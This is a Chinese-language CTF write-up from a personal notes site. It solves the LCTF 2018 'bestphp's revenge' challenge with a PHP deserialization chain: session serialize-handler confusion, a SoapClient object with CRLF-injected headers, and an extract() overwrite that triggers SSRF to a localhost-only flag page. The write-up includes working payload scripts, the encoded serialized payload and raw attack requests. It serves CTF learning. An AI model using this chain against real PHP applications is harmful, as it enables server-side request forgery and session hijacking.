LCTF 2018

0x01 bestphp's revenge

首页

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

有flag.php

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

显然我们要通过SSRF来拿到flag

这里我们构造soap序列化数据,ssrf+crlf带着可控的phpsessid访问flag.php

SOAP是啥

可以利用这个任意POST报文脚本做一个简单的示例

<?php
$target = "http://127.0.0.1:5555";
$post_string = '';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=hgjf7894tb5m33n4c3ht1gu0n0'
    );
//这里还运用了CRLF注入攻击使得整个POST报文参数可控
$attack = new SoapClient(null,array('location' => $target,
                                    'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
                                    'uri'      => "aaab"));
$payload = urlencode(serialize($attack));
echo $payload;
$c = unserialize(urldecode($payload));
$c->b();

接收端

root@EDI:~/codes/buuoj# nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 9491
POST / HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: eki
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=hgjf7894tb5m33n4c3ht1gu0n0
Content-Length: 0


Content-Type: text/xml; charset=utf-8
SOAPAction: "aaab#b"
Content-Length: 365

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaab" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:b/></SOAP-ENV:Body></SOAP-ENV:Envelope>

也就是说通过SOAP对象的反序列化我们能打到内网的/flag.php从而拿到flag

构造反序列对象,这里我们只需要

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
                              'user_agent' => "Eki\r\nCookie: hgjf7894tb5m33n4c3ht1gu0n0\r\n",
                              'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A41%3A%22Eki%0D%0ACookie%3A+hgjf7894tb5m33n4c3ht1gu0n0%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

接下来是想办法让他反序列化执行。

这里利用session_start()的参数可控将序列化数据注入到sessionfile中

对于第一个call_user_func()

...
call_user_func($_GET[f],$_POST);
...
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
...

构造出

$_GET = array('f'=>'session_start','name'=>'|<serialize data>')
$_POST = array('serialize_handler'=>'php_serialize')

得到

call_user_func('session_start',array('serialize_handler'=>'php_serialize'))
$_SESSION[name] = '|<serialize data>'

因为

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

而默认采用的serialize_handlerphp

可以做一个小实验

//test1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
var_dump($_SESSION);
//test2.php
<?php
#ini_set('session.serialize_handler', 'php_serialize');
session_start();
#$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
class A {
  public $a = 'aa';
  function __wakeup() {
    echo $this->a;
  }
}
var_dump($_SESSION);

访问test1.php 得到array(1) { ["ryat"]=> string(30) "|O:1:"A":1:{s:1:"a";s:2:"xx";}" }

访问test2.php 则得到了 xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }

可以看到在test2.php里被解析成了对象,并且成功调用了__wakeup,本题我们也是希望通过这种方式实现SSRF

发报文,注意这里要带Content-Type: application/x-www-form-urlencoded。不然会没法解析...

POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A41%3A%22Eki%0D%0ACookie%3A+hgjf7894tb5m33n4c3ht1gu0n0%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
Host: d46f35c6-a0fa-4140-bbb8-83cbde350129.node3.buuoj.cn
Content-Length: 31
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Cookie: PHPSESSID=lhav4dvjbfkr9aqc13ec8h0ig6
Origin: http://d46f35c6-a0fa-4140-bbb8-83cbde350129.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://11dc9259-2de4-44c7-bc7d-c6abfe6f07e6.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

serialize_handler=php_serialize

讲道理我们重新访问后带着注入的PHPSESSION,根据var_dump($_SESSION);应该就能拿到flag了

但是因为新版的php修复了soap反序列化的时候会发送网络请求的bug,所以还需要正向调用激活。

这里利用第二个call_user_func激活soap类

$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
...
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);

可以看到经过上一步,$_SESSION里的数据是soap对象,再经过reset()弹出这个对象成为了$a[0],那么我可以通过变量覆盖$bcall_user_func,调用$a中的这个对象,从而触发soap的网络请求。

$_GET = array('f'=>'extract');
$_POST = array('b'=>'call_user_func');

->
call_user_func('extract','$POST');
call_user_func('call_user_func','<SOAPOBJECT>');

经过这一步,soap请求真正发了出去,phpsessid相应的session里被加入了flag

POST /?f=extract&name=SoapClient HTTP/1.1
Host: d46f35c6-a0fa-4140-bbb8-83cbde350129.node3.buuoj.cn
Content-Length: 16
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36
Origin: http://d46f35c6-a0fa-4140-bbb8-83cbde350129.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://d46f35c6-a0fa-4140-bbb8-83cbde350129.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=lhav4dvjbfkr9aqc13ec8h0ig6
Connection: close

b=call_user_func

如果之前上传成功的话,回传会显示SoapCilent

然后我们再GET一次首页,就会拿到存储flag的PHPSESSION

修改COOKIE即可拿到flag

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2021-03-09 16:35:16

results matching ""

    No results matching ""